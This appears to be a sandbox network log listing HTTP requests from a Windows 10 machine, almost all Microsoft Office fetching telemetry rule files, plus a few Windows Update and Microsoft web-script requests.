Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HBsmZ7B8yt7KLyP&MD=HXNXESRZ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HBsmZ7B8yt7KLyP&MD=HXNXESRZ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
